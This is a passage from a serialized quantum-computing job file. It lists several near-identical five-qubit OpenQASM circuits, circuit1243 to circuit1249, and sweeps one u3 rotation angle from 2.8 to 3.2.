[]}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1243', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.9000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1245', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1247', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1249', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 